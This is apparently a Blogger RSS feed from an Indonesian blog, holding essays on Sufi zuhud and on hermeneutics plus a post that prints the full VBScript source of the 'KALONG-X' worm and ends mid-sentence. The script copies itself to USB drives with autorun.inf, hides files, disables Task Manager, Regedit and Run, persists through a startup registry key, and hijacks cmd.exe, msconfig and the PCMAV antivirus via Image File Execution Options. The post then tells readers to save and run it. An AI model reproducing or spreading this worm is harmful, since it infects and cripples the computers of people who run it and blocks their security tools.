class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Adapun mengenai zuhud, diatas dapat disimpulkan bahwa zuhud itu adalah orang yang mau meninggalkan segala kemewahan dan kesenangan serta mau meninggalkan segala limpahan hartanya karena di khawatirkan bila tidak segera mengucilkan diri menjadikan orang itu lupa dan lalai terhadap kewajiban-kewajibannya dalam menjalankan perintahNya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Dan juga dikhawatirkan akan bertambah jauh sekali terhadap keyakinannya. Selalu senang dengan hartanya menjadikan orang tersebut lupa segala-galanya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Oleh karena itu zuhud adalah upaya untuk mencapai derajat yang tinggi dalam menjalani hidup di dunia yang fana’ ini. Hanya dengan zuhud kita akan semakin dekat kepada Allah dan takut akan azab Allah yang sangat pedih.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;                      &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center; line-height: 150%;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;DAFTAR PUSTAKA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;-&lt;span style=&quot;&#39;;font-family:&quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Al-Qalami, Abu Fajar, &lt;i style=&quot;&quot;&gt;Ringkasan IHYA’ ULUMUDDIN (Imam al-Ghazali) &lt;/i&gt;Surabaya : Gitamedia Press, 2003&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;-&lt;span style=&quot;&quot;&gt;     &lt;/span&gt;Al-Taftazani Dr. Abu al-Wafa al-Ghanimi, Sufi dari Zaman ke Zaman, (&lt;st1:place st=&quot;on&quot;&gt;&lt;st1:city st=&quot;on&quot;&gt;Bandung&lt;/st1:city&gt;&lt;/st1:place&gt; : Pustaka), 1977&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;-&lt;span style=&quot;&#39;;font-family:&quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Sayyid, Dr.Abdul Fattah, &lt;i style=&quot;&quot;&gt;Tasawuf antara Al-Ghazali dan Ibnu Taimiyah&lt;/i&gt;, Jakarta : Khalifa, 2005&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-indent: -0.5in; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot;&gt;      &lt;/span&gt;-&lt;span style=&quot;&quot;&gt;    &lt;/span&gt;Syukur , Prof. Dr. Amin MA, &lt;i style=&quot;&quot;&gt;Zuhud di Abad Modern&lt;/i&gt;, (&lt;st1:place st=&quot;on&quot;&gt;Yogyakarta&lt;/st1:place&gt; : Pustaka Pelajar), 2000, &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;-&lt;span style=&quot;&#39;;font-family:&quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Zuhri, Drs. H. Moh., Dipl, TAFL, &lt;i style=&quot;&quot;&gt;Ihya’ Ulumuddin Jilid VIII (Imam Al-Ghazali), &lt;/i&gt;Semarang : CV. ASY-SYIFA’, 2003&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;-&lt;span style=&quot;&#39;;font-family:&quot;&gt;          &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 0.5in; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;</description><link>http://slendangwetan29.blogspot.com/2008/12/kajian-teks-tentang-ihy-umuluddin-bab.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglqP1U4AychyphenhyphenAd4XHRYIjHZkD2_dc5_528bhqphr03gFcC88QPLCiC2LDB344pZJx2GN185eChwgKmyMr5uF05Zvml-aVEkGvFQ6rAhRiGgCEi45cBbCoZMdbzKBPXl9XFiefgfoBdem0/s72-c/ihy&#39;.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-2662013991957368289</guid><pubDate>Tue, 16 Sep 2008 16:25:00 +0000</pubDate><atom:updated>2008-09-20T01:17:18.700-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat</category><title>Ngomong tentang Hermeneutika</title><description>&lt;span style=&quot;color: rgb(51, 51, 51);font-size:85%;&quot; &gt;           Persamaan antara hermeneutik fenomenologis, hermeneutik dialetikal dan hermeneutik kritik ialah dimana Hermeneutik selalu dihubungkan dengan dua aspek yang saling berhubungan, yaitu mediasi dengan tradisi dan pemahaman subjektif terhadap makna tertentu. Dalam artian bahwa bicara tentang hermeneutik baik hermeneutik fenomenologis, dialetikal, dan kritik yaitu tentang intepretasi dan pemahaman terhadap sebuah teks tertulis maupun tidak (tersirat) bahkan manusia termasuk sebuah teks yang perlu dikaji.  Kerena dalam kajian hermeneutik keduanya (intepretasi dan pemahaman red) saling berkaitan. Intepretasi hanya dapat dilaksanakan apabila pemahaman dilakukan dengan cermat.&lt;br /&gt;        Persamaan lain dari pandangan ketiga aliran hermeneutik ini adalah dimana membedakan objek kajian ilmu menjadi dua yaitu ilmu fisika dan ilmu humaniora yang mana perlu membedakan ilmu untuk menganisis dengan objeknya manusia. Karena ilmu fisika tidak bisa mengkiji tentang manusia sebab manusia berbeda dengan benda lainnya.  Misalnya, ketika kita menaruh sebuah benda katakanlah kursi. Meski kursi tersebut dijemur di bawah terik matahari selama beberapa jam, maka tidak sedikitpun kursi itu bergeser dari tempatnya ke tempat yang lebih teduh. Akan tetapi ketika seseorang disuruh berdiri di bawah terik matahari dengan jangka waktu yang cukup lama, maka ia akan mengalami perubahan yaitu pergi mencari tempat yang lebih teduh setidak-tidaknya ia melakukan pergeseran tempat. Maka tidak layak ketika kita mengkaji sebuah objek yang mempunyai suatu perbedaan yang sangat signifikan dengan satu pandang atau dengan memakai metodologi yang sama yaitu ilmu fisika.&lt;br /&gt;           Dalam kajian hermeneutik baik fenomenologis, dialetikal, dan kritik pemahaman ini dikaitkan dengan objek yang dikaji baik teks dan penulis pertama (author) baik dari segi kultur maupun psikologisnya.  Misalnya Heidegger sendiri melanjutka secara lebih mendasar perbedaan antara ilmu alam dengan ilmu-ilmu humanises/ ilmu-limu sosial yang disebut oleh Delthey. Ciri-ciri benda alami disebut  ketegori, sedangkan ciri-ciri keberadaan manusia disebut eksistensial.&lt;br /&gt;Memahami berarti mengarahkan perhatian pada suatu objek, yakni bahasa. Bahasa dapat dipahami sebagai dimensi supraindividual dan dimensi individual. Tugas utama seorang hermeneutik adalah membawa kembali kehandak makna yang menjadi jiwa suatu teks.&lt;br /&gt;          Adapun perbedaan ketiga-tiganya ialah pertama dari cara pandang masing-masing tokoh utama dalam melihat sebuah apa yang disebut dengan pemahaman. Misalnya dalam pandangan hermeneutik dealitikal yang dimana perintis utamanya adalah Karl Otto Apel. ia mendefinisikan versetehen tingkah laku manusia sebagai suatu yang dipertentangkan dengan penjelasan berbagai kejadian alam. Apel mengatakan bahwa interpretasi tingkah laku harus dapat dipahami dan diverifikasi secara intersubjektif dalam konteks kehidupan yang merupakan permainan bahasa.&lt;br /&gt;            Sehubungan dengan hal itu, lebih jauh Lefevere (1977: 49) menilai bahwa secara keseluruhan hermeneutika dialektik yang dirumuskan Apel sebenarnya cenderung mengintegrasikan berbagai komponen yang tidak berhubungan dengan hermeneutika itu sendiri secara tradisional. Apel tampakanya mencoba memadukan antara penjelasan (erklaren)  dan pemahaman (verstehen)  ; keduanya harus saling mengimplikasikan dan melengkapi satu sama lain. Ia menyatakan bahwa tidak seorang pun dapat memahami sesuatu (verstehen) tanpa pengetahuan faktual secara potensial.&lt;br /&gt;           Dengan demikian, pandangan Apel tersebut sebenarnya mengandung dualitas. Di satu sisi, tidak ada ilmuwan alam yang dapat menjelaskan sesuatu secara potensial. Di sisi lain, sekaligus tidak ada ilmuwan alam yang dapat menjelaskan sesuatu secara potensial tanpa pemahaman intersubjektif. Dalam hal ini teranglah bahwa &quot;penjelasan&quot; dan pemahaman&quot; dibutuhkan, baik pada ilmu-ilmu sosial dan kemanusiaan (geistewissenschaften) maupun ilmu-ilmu alam (naturwissen-shacften). Pandangan Apel itu dapat dinilai sebagai pikiran modern, karena dia mencoa mempertemukan kedua kutub tersebut.&lt;br /&gt;Inti varian hermeneutika dialektik tersebut-yang tidak mempertentangkan &quot;penjelasan&quot; dengan &quot;pemahaman&quot;-sejalan dengan pandangan Valdes. Dalam pandangannya, bagaimana ia menganggap penting &quot;penjelasan&quot; dan &quot;pemahaman&quot; untuk menjelaskan prinsip interpretasi dalam beberapa teori utamanya, yakni teori historis, formalis, hermeneutika filosofis, dan poststrukturalis atau dekonstruks.&lt;br /&gt;Dalam varian hermeneutika dialektik ini, definisi verstehen yang dikemukakan Apel mengimplikasikan pengertian bahwa tidak ada yang tidak dapat dilakukan ilmuwan. Jika ilmuwan mencoba memahami fenomena tertentu, ia akan menghubungkan dengan latar belakang aturan-atuaran yang diverifikasi secara intersubjektif sebagaimana yang dikodifikasi pada hukum-hukum dan teori-teori. Pengalaman laboratorium pun turut mempengaruhi ilmuwan dalam memahami apa saja yang tengah ditelitinya. Dengan demikian, jelaslah bahwa verstehen pada dasarnya berfungsi untuk memahami objek kajiannya.&lt;br /&gt;Berbeda juga dengan aliran hermenutika fenomenologi dalam melihat sebuah pemahaman misalnya Hans-Georg Gadamer. Gadamer tidak lagi memandang konsep verstehen sebagai kosep metodologis, melainkan memandang verstehen sebagai pemahaman yang mengarah pada tingkat ontologis.&lt;br /&gt;         Verstehen, menurut Gadamer, merupakan jalan keberadaan kehidupan manusia itu sendiri yang asli. Varian hermeneutika ini menganggap dirinya bebas dari hambatan-hambatan konsep ilmiah yang bersifar ontologis.  Dalam hal ini, agaknya Gadamer menolak konsep hemeneutika sebagai metode. Kendatipun menurutnya hermeneutika adalah pemahaman, dia tidak menyatakan bahwa pemahaman itu bersifat metodis. Dalam sudut pandang Gadamer, masalah hermeneutika merupakan masalah aplikasi yang berhenti pada semua verstehen.&lt;br /&gt;Bagi Gadamer sendiri hermeneutika tidak semata-mata bagaimana menafsiri dengan benar, melainkan fenomena menafsiri itu sendiri. Interpretation of interpretation. Menurutnya, hermeneutika teoritis yang menyarankan pengkosongan pembaca dalam menemukan makna obyektif adalah mustahil. Mustahil manusia bisa megosongkan sejarah hidupnya yang dia sebut horizon. Yang mungkin adalah menjadikan horizon pembaca sebagai pijakan dialektika dalam memahami teks. Empat kunci hermeneutika Gadamer: Pertama, kesadaran terhadap &quot;situasi hermeneutik&quot;. Pembaca perlu menyadari bahwa situasi ini membatasi kemampuan seseorang dalam membaca teks. Karena itu, pembaca harus bisa mengatasi subyektifitasya sendiri dalam membaca teks dan bersikap toleran terhadap pembaca lain. Kedua, situasi hermeneutika ini kemudian membentuk &quot;pra-pemahaman&quot; pada diri pembaca yang tentu mempengaruhi pembaca dalam mendialogkkan teks dengan konteks. Kendati ini merupakan syarat dalam membaca teks, menurut Gadamer, pembaca harus selalu merevisinya agar pembacaannya terhindar dari kesalahan. Ketiga, pembaca harus menkomuikasian dua horizon, horizon pembaca dan horizon teks, agar ketegangan antara dua horizon yang mungkin berbeda bisa diatasi. Pembaca harus terbuka pada horizon teks dan membiarkan teks memasuki horizon pembaca. Sebab, teks dengan horizonnya pasti mempunyai sesuatu yang akan dikatakan pada pembaca. Interaksi antara dua horizon inilah yang oleh Gadamer disebut &quot;lingkaran hermeneutik&quot;. Keempat, langkah selanjutnya adalah menerapkan &quot;makna yang berarti&quot; dari teks, bukan makna obyektif teks.&lt;br /&gt;      Aliran hermeneutik yang ketiga ini adalah hermeneutik kritik. Kecurigaan terhadap klaim kebenaran yang berbasis tradisi adalah dasar bagi timbulnya mazhab hermeneutik baru, yaitu hermeneutika kritis Tradisi dan pemahaman bukanlah sesuatu yang netral, tapi didalamnya ada kesadaran palsu, propaganda, manipulasi informasi, pembatasan pengetahuan, sensor dan lainnya. Hermeneutika kritis ini menjadi semacam perangkat bagi kritik ideologi. Tujuannya untuk menyingkapkan sebab terjadinya distorsi dalam pemahaman dan komunikasi yang kelihatan normal dalam interaksi. Diantara tokoh-tokoh hermeneutika kritis adalah Lorenzer, Sandkuhler dan Paul Ricoeur dan Jurgen Habermas.&lt;br /&gt;Hermeneutik, bagi Habermas, adalah kemampuan untuk menguasai “natural language”, yaitu seni memahami makna yang dapat dikomunikasikan secara lingguistik, serta membuatnya dapat dimengerti ketika terjadi distorsi komunikasi. Refleksi hermeneutik mengandung dua makna, pertama memahami sesuatu dan memahami diri. Kedua, meyakinkan dan mempengaruhi orang lain.&lt;br /&gt;      Pengalaman hermeneutik mensyaratkan hubungan dua momen, yaitu intersubjektivitas komunikasi sehari-hari yang bersifat tak terbatas sekaligus terbatas. Tak terbatas karena komunikasi selalu dapat diperluas, terbatas karena makna tak diterima sepenuhnya.  Karena hal itulah, sifat tersebut membuat kesamaan bahasa komunitas dan juga perbedaan kelas, peradaban dan zaman.  Kedua, pengalaman hermeneutik membawa pada kesadaran akan posisi subjek pembicara berhadapan dengan bahasanya. Bagi Habermas, sistem “natural language” itu tidak tertutup, seperti yang dipahami oleh kaum strukturalis, tapi bersifat terbuka. Konsekuensinya, setiap aturan bahasa memungkinkan untuk dikomentari dan dirubah, serta metakomunikasi membuat bahasa dapat dijadikan sebagai sebuah objek. Oleh karena itu, setiap natural language memiliki metalanguage. Dengan demikian, Metalanguage menjadi basis bagi momen refleksi. Sebagaimana penggunaan metapor dalam bahasa. Inilah yang membuat hermeneutik kritik lebih bersifat fungsional daripada hermeneutik fenomenologis dan hermeneutik dialetikal.&lt;br /&gt;...................................................................&lt;br /&gt;&lt;br /&gt;ket:&lt;br /&gt;        Istilah erklaren ini mula-mula juga diajukan oleh Wilhelm Dilthey sebagai metode yang digunakan untuk mendekati objek ilmu-ilmu alam, yakni menjelaskan suatu kejadian menurut penyebabnya.&lt;br /&gt;         Istilah verstehen diajukan oleh Wilhelm Dilthey sebagai metode yang digunakan untuk mendekati produk-produk budaya, yakni menemukan dan memahami makna di dalamnya yang dapat dilakukan dengan menempatkannya dalam konteks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://forginanjar.multiply.com/journal/item/5&lt;br /&gt;http://id.wikipedia.org/wiki/Hermeneutika&lt;br /&gt;http://www.angelfire.com/journal/fsulimelight/hermen.html&lt;/span&gt;</description><link>http://slendangwetan29.blogspot.com/2008/09/ngomong-tentang-hermeneutika.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-4274150869276058353</guid><pubDate>Mon, 07 Jul 2008 20:43:00 +0000</pubDate><atom:updated>2008-07-07T13:43:54.106-07:00</atom:updated><title>Sejarah nama SlendangWetan</title><description>&lt;embed width=&quot;448&quot; height=&quot;361&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; src=&quot;http://i331.photobucket.com/player.swf?file=http://vid331.photobucket.com/albums/l466/slendang/wetan.flv&quot;&gt;</description><link>http://slendangwetan29.blogspot.com/2008/07/sejarah-nama-slendangwetan.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-2872725690797658251</guid><pubDate>Mon, 23 Jun 2008 17:15:00 +0000</pubDate><atom:updated>2008-09-20T01:18:05.357-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kreasi</category><title>Code Virus KALONG-X.VBS</title><description>&lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;Tahu kah kalian bahwa tidak sulit membuat sebuah virus bahkan orang awampun dapat menciptakannya yaitu dengan memasukkan code-code khusus ke dalam sebuah notepad. Ini adalah contoh script atau code yang digunakan untuk membuat virus KALONG-X.VBS yang lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan. Ini saya ambil dari : putuyoga. Semoga saja dengan mengetahui code-code yang digunakan untuk membuat virus ini dapat menambah penegtahuan kita untuk mudah mengatasinya jika menyarang komputer kita. Inilah codenya:&lt;br /&gt;&lt;br /&gt;‘Kalong-X&lt;br /&gt;‘Varian dari Kalong.VBS&lt;br /&gt;on error resume next&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Dim kata-kata berikut&lt;br /&gt;dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;’siapkan isi autorun&lt;br /&gt;isi = “[autorun]” &amp;amp; vbcrlf &amp;amp; “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”&lt;br /&gt;set fs = createobject(”Scripting.FileSystemObject”)&lt;br /&gt;set mf = fs.getfile(Wscript.ScriptFullname)&lt;br /&gt;dim text,size&lt;br /&gt;size = mf.size&lt;br /&gt;check = mf.drive.drivetype&lt;br /&gt;set text = mf.openastextstream(1,-2)&lt;br /&gt;do while not text.atendofstream&lt;br /&gt;rekur = rekur &amp;amp; text.readline&lt;br /&gt;rekur = rekur &amp;amp; vbcrlf&lt;br /&gt;loop&lt;br /&gt;do&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘buat file induk&lt;br /&gt;Set windowpath = fs.getspecialfolder(0)&lt;br /&gt;set tf = fs.getfile(windowpath &amp;amp; “\k4l0n6-x.dll.vbs “)&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf = fs.createtextfile(windowpath &amp;amp; “\k4l0n6-x.dll.vbs”,2,true)&lt;br /&gt;tf.write rekur&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(windowpath &amp;amp; “\k4l0n6-x.dll.vbs”)&lt;br /&gt;tf.attributes = 39&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;’sebar ke removable disc ditambahkan dengan Autorun.inf&lt;br /&gt;for each desades in fs.drives&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path &lt;&gt; “A:” then&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;set tf=fs.getfile(desades.path &amp;amp;”\k4l0n6ms32.dll.vbs”)&lt;br /&gt;tf.attributes =32&lt;br /&gt;set tf=fs.createtextfile(desades.path &amp;amp;”\k4l0n6ms32.dll.vbs”,2,true)&lt;br /&gt;tf.write rekur&lt;br /&gt;tf.close&lt;br /&gt;set tf=fs.getfile(desades.path &amp;amp;”\k4l0n6ms32.dll.vbs”)&lt;br /&gt;tf.attributes = 39&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;set tf =fs.getfile(desades.path &amp;amp;”\autorun.inf”)&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf=fs.createtextfile(desades.path &amp;amp;”\autorun.inf”,2,true)&lt;br /&gt;tf.write isi&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(desades.path &amp;amp;”\autorun.inf”)&lt;br /&gt;tf.attributes=39&lt;br /&gt;end if&lt;br /&gt;next&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Manipulasi Registry&lt;br /&gt;set kalong = createobject(”WScript.Shell”)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Ubah IE Title&lt;br /&gt;kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: -&gt;KALONG-X&lt;- ::”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘File Hidden tak terlihat&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”&lt;br /&gt;kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Buat pesan saat Windows Startup&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X”&lt;br /&gt;kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Aktifkan saat Windows Startup&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath &amp;amp; “\batch- k4l0n6.dll.vbs”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”&lt;br /&gt;kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;‘Bonus&lt;br /&gt;if check &lt;&gt; 1 then&lt;br /&gt;Wscript.sleep 200000&lt;br /&gt;end if&lt;br /&gt;loop while check &lt;&gt; 1&lt;br /&gt;set sd = createobject(”Wscript.shell”)&lt;br /&gt;sd.run windowpath &amp;amp; “\explorer.exe /e,/select, ” &amp;amp; Wscript.ScriptFullname&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;Setelah menempatkan kode tersebut klik FILE &gt; SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.&lt;br /&gt;Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;&lt;img src=&quot;http://www.inatradecenter.com/gambar/string.jpg&quot; /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;Di sini saya hanya mencoba memberi sebuah pengetahuan tentang code-code untuk membuat sebuah viru KALONG-X.VBS bukan mengajariyang tidak-tidak.&lt;br /&gt;Ingat virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash 